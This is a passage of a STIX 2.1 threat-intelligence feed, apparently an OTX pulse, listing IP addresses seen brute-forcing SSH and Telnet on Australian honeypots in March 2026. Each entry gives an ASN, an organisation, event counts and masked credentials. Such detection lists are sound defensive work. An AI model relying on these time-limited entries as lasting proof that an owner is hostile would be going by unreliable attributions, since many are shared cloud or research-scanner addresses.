      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--cba64b56-aa0b-4ab6-90da-3c71b7766d16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.64.71.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:15:14.000Z",
      "valid_until": "2026-04-20T02:15:12.000Z"
    },
    {
      "created": "2026-03-19T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 404. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--9f8b9ee0-e411-400e-b84e-e9429e02c800",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.178.172.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:15:14.000Z",
      "valid_until": "2026-04-20T02:15:12.000Z"
    },
    {
      "created": "2026-03-19T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SI. ASN(s): 203020. Organisation(s): HostRoyale Technologies Pvt Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a************e.",
      "id": "indicator--6c02ae26-4160-4d63-bfe2-bd75ec515e6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.115.0.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:15:14.000Z",
      "valid_until": "2026-04-20T02:15:12.000Z"
    },
    {
      "created": "2026-03-19T03:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, d****n, **, a***a, g********n. Passwords observed (masked): 3***********4, 3**********4, p******d, 1****6, D********!.",
      "id": "indicator--4a424a86-4e3b-4236-838e-95bcfbd53343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T03:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.23.198.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T03:15:23.000Z",
      "valid_until": "2026-04-20T03:15:12.000Z"
    },
    {
      "created": "2026-03-19T03:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): 3**********4, a******a, **, *, **. Passwords observed (masked): 3***********4, 3**********4, 1******8, 1*******d, M******!.",
      "id": "indicator--c1d91fbb-55fd-4fa9-acd3-ae4f8a6e1f94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T03:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.138.175.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T03:15:23.000Z",
      "valid_until": "2026-04-20T03:15:12.000Z"
    },
    {
      "created": "2026-03-19T03:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 827. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u****u, a***n, u**r, f*****r. Passwords observed (masked): 1****6, p******d, *, p******d, 1******8.",
      "id": "indicator--5277f40c-08a7-4a7f-9c7d-271839e27f62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T03:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.174.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T03:15:23.000Z",
      "valid_until": "2026-04-20T03:15:12.000Z"
    },
    {
      "created": "2026-03-19T03:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--99709ffd-100d-45e3-becb-170aef59b4eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T03:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T03:15:23.000Z",
      "valid_until": "2026-04-20T03:15:12.000Z"
    },
    {
      "created": "2026-03-19T03:15:23.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T03:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.46.221.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T03:15:23.000Z",
      "valid_until": "2026-04-20T03:15:12.000Z"
    },
    {
      "created": "2026-03-19T03:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--5870bde7-36df-428d-8784-2c9ba4d66879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T03:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T03:15:23.000Z",
      "valid_until": "2026-04-20T03:15:12.000Z"
    },
    {
      "created": "2026-03-19T04:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--aaf2996d-945e-4fc6-8c83-138dcd12b2a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.48.134.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:15:15.000Z",
      "valid_until": "2026-04-20T04:15:12.000Z"
    },
    {
      "created": "2026-03-19T04:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:15:15.000Z",
      "valid_until": "2026-04-20T04:15:12.000Z"
    },
    {
      "created": "2026-03-19T04:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4538. Organisation(s): China Education and Research Network Center.",
      "id": "indicator--952256ef-46ec-448d-9496-d4c814c2ae85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.244.42.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:15:15.000Z",
      "valid_until": "2026-04-20T04:15:12.000Z"
    },
    {
      "created": "2026-03-19T04:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269645. Organisation(s): WF CONNECT.",
      "id": "indicator--28d9dd37-8eea-4158-9406-0d71621572c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.190.98.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:15:15.000Z",
      "valid_until": "2026-04-20T04:15:12.000Z"
    },
    {
      "created": "2026-03-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): 3**********4, c**y, c*********o, b**t, ***. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, B******!.",
      "id": "indicator--865efc99-1e2e-4aa7-a752-f4e60720b2a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.61.123.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:15:03.000Z",
      "valid_until": "2026-04-20T05:15:01.000Z"
    },
    {
      "created": "2026-03-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--e7fd328b-9161-4874-85cc-49f386905403",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.176.75.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:15:03.000Z",
      "valid_until": "2026-04-20T05:15:01.000Z"
    },
    {
      "created": "2026-03-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--c44b48bd-b915-4b18-866c-967d59daf311",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.40.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:15:03.000Z",
      "valid_until": "2026-04-20T05:15:01.000Z"
    },
    {
      "created": "2026-03-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--086555f0-c1b3-45b1-80ae-f334d5eefb0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:15:03.000Z",
      "valid_until": "2026-04-20T05:15:01.000Z"
    },
    {
      "created": "2026-03-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, c**y, c*********o, b**t, ***. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, B******!.",
      "id": "indicator--a301d534-1a9d-42d7-9292-29f1decc6371",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.23.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:15:03.000Z",
      "valid_until": "2026-04-20T05:15:01.000Z"
    },
    {
      "created": "2026-03-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--ec6fec5e-4be4-4659-9792-e48b464016e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:15:03.000Z",
      "valid_until": "2026-04-20T05:15:01.000Z"
    },
    {
      "created": "2026-03-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--5bf6dc90-8e57-456e-bc5e-a5f42bf96ef9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:15:03.000Z",
      "valid_until": "2026-04-20T05:15:01.000Z"
    },
    {
      "created": "2026-03-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, t****r, 3**********4, ***, f***k. Passwords observed (masked): 1**4, 1******Z, 3***********4, 3**********4, Q******..",
      "id": "indicator--762fb9e2-ee09-4281-946b-b9aaf8419bff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.39.58.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:15:03.000Z",
      "valid_until": "2026-04-20T05:15:01.000Z"
    },
    {
      "created": "2026-03-19T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NP. ASN(s): 139922. Organisation(s): DISH MEDIA NETWORK PUBLIC LIMITED. Usernames observed (masked): b**m, 3**********4, a***e, ***, d*******r. Passwords observed (masked): 1**4, *, 1***5, 1******8, 3***********4.",
      "id": "indicator--3ac52f7b-22c7-442c-815f-70aa6a6f0754",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.180.241.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T06:15:04.000Z",
      "valid_until": "2026-04-20T06:15:01.000Z"
    },
    {
      "created": "2026-03-19T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--2e3649dc-06eb-49c3-847b-44ba7daac7da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.252.245.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T06:15:04.000Z",
      "valid_until": "2026-04-20T06:15:01.000Z"
    },
    {
      "created": "2026-03-19T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation.",
      "id": "indicator--a5d6850b-3beb-4c2f-9943-0e8c45b667d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.208.159.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T06:15:04.000Z",
      "valid_until": "2026-04-20T06:15:01.000Z"
    },
    {
      "created": "2026-03-19T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--ad4abe44-eff4-4fca-86b2-8c27a2e1d6bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.0.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T06:15:04.000Z",
      "valid_until": "2026-04-20T06:15:01.000Z"
    },
    {
      "created": "2026-03-19T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 396356. Organisation(s): Latitude.sh. Usernames observed (masked): b**m, 3**********4, a***e, ***, d*******r. Passwords observed (masked): 1**4, *, 1***5, 1******8, 3***********4.",
      "id": "indicator--be254104-8f51-4d19-aa16-5ae96dff20d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.134.9.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T06:15:04.000Z",
      "valid_until": "2026-04-20T06:15:01.000Z"
    },
    {
      "created": "2026-03-19T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): **, 3**********4, b****t, l******m, l***s. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, L***s.",
      "id": "indicator--5757d183-1813-412e-8221-32b5d6758a93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.97.107.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:15:03.000Z",
      "valid_until": "2026-04-20T07:15:01.000Z"
    },
    {
      "created": "2026-03-19T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A.. Usernames observed (masked): **, 3**********4, d*****n, ***, r**l. Passwords observed (masked): 1****6, 3***********4, 3**********4, D*****n, ***.",
      "id": "indicator--6c8d8da8-f203-4b56-9a7b-8f0a0ebc8303",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.81.52.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:15:03.000Z",
      "valid_until": "2026-04-20T07:15:01.000Z"
    },
    {
      "created": "2026-03-19T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--f509d3d1-4b75-45c9-bc46-4b6d374bedcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.184.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T08:15:04.000Z",
      "valid_until": "2026-04-20T08:15:01.000Z"
    },
    {
      "created": "2026-03-19T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46887. Organisation(s): Crown Castle Fiber LLC. Usernames observed (masked): 3**********4, r**t, p******x, s***n, a***e. Passwords observed (masked): 3***********4, 3**********4, ***, p******d, 1*******e.",
      "id": "indicator--5bcc26d2-0807-4150-8d84-6a2b4bfb1b1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '208.69.84.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T08:15:04.000Z",
      "valid_until": "2026-04-20T08:15:01.000Z"
    },
    {
      "created": "2026-03-19T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, r**t, p******x, s***n, a***e. Passwords observed (masked): 3***********4, 3**********4, ***, p******d, 1*******e.",
      "id": "indicator--ae3ecdd0-82fc-49fd-abdf-0fa734959e88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.79.190.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T08:15:04.000Z",
      "valid_until": "2026-04-20T08:15:01.000Z"
    },
    {
      "created": "2026-03-19T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): **, a***e, p******x, p*****d. Passwords observed (masked): p******d, 3***********4, A******3, p*********!.",
      "id": "indicator--e2c9e821-f8b1-4258-806b-6a22b8a026a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.101.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T08:15:04.000Z",
      "valid_until": "2026-04-20T08:15:01.000Z"
    },
    {
      "created": "2026-03-19T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--6279e40f-04c5-495d-bb44-9bb01fd02241",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T08:15:04.000Z",
      "valid_until": "2026-04-20T08:15:01.000Z"
    },
    {
      "created": "2026-03-19T08:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 21453. Organisation(s): Flex Ltd..",
      "id": "indicator--6be5ace5-ee35-4017-acf0-95422be1a181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.253.15.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T08:15:04.000Z",
      "valid_until": "2026-04-20T08:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
